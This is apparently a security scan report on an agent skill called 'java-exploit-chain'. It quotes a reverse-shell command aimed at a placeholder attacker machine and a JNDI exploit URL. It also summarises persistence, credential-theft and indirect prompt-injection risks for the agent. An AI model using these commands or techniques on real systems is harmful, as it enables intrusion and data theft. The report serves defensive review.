The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides explicit shell command patterns for establishing reverse shells, such as using bash -i >& /dev/tcp/攻击机/端口 0>&1 to connect back to an attacker-controlled machine.
[REMOTE_CODE_EXECUTION]: It describes the end-to-end process for exploiting JNDI vulnerabilities via marshalsec, including hosting malicious classes on a remote server (http://攻击机:8888/#Exploit) and triggering execution via LDAP or RMI lookups.
[PERSISTENCE]: The skill outlines methods for maintaining access on a target system by writing malicious entries to crontab files or adding keys to SSH authorized_keys via exploitable services like Redis.
[DATA_EXFILTRATION]: The documentation describes techniques for extracting sensitive configuration data, database credentials, and JWT signing keys from environment variables and internal endpoints like Spring Boot Actuator.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted Java source code and configuration files, creating a significant attack surface where malicious code within an audited project could influence the agent. * Ingestion points: Target project source code (Java), build configurations (Maven pom.xml, Gradle build.gradle), and application property files. * Boundary markers: None present; the instructions do not include markers or directives to isolate or ignore potentially malicious content within the audited data. * Capability inventory: The skill utilizes file system read access, network access for exploit testing, and shell execution capabilities for build tools and payload generators. * Sanitization: There is no evidence of sanitization or validation of the external project content before it is processed by the agent.

java-exploit-chain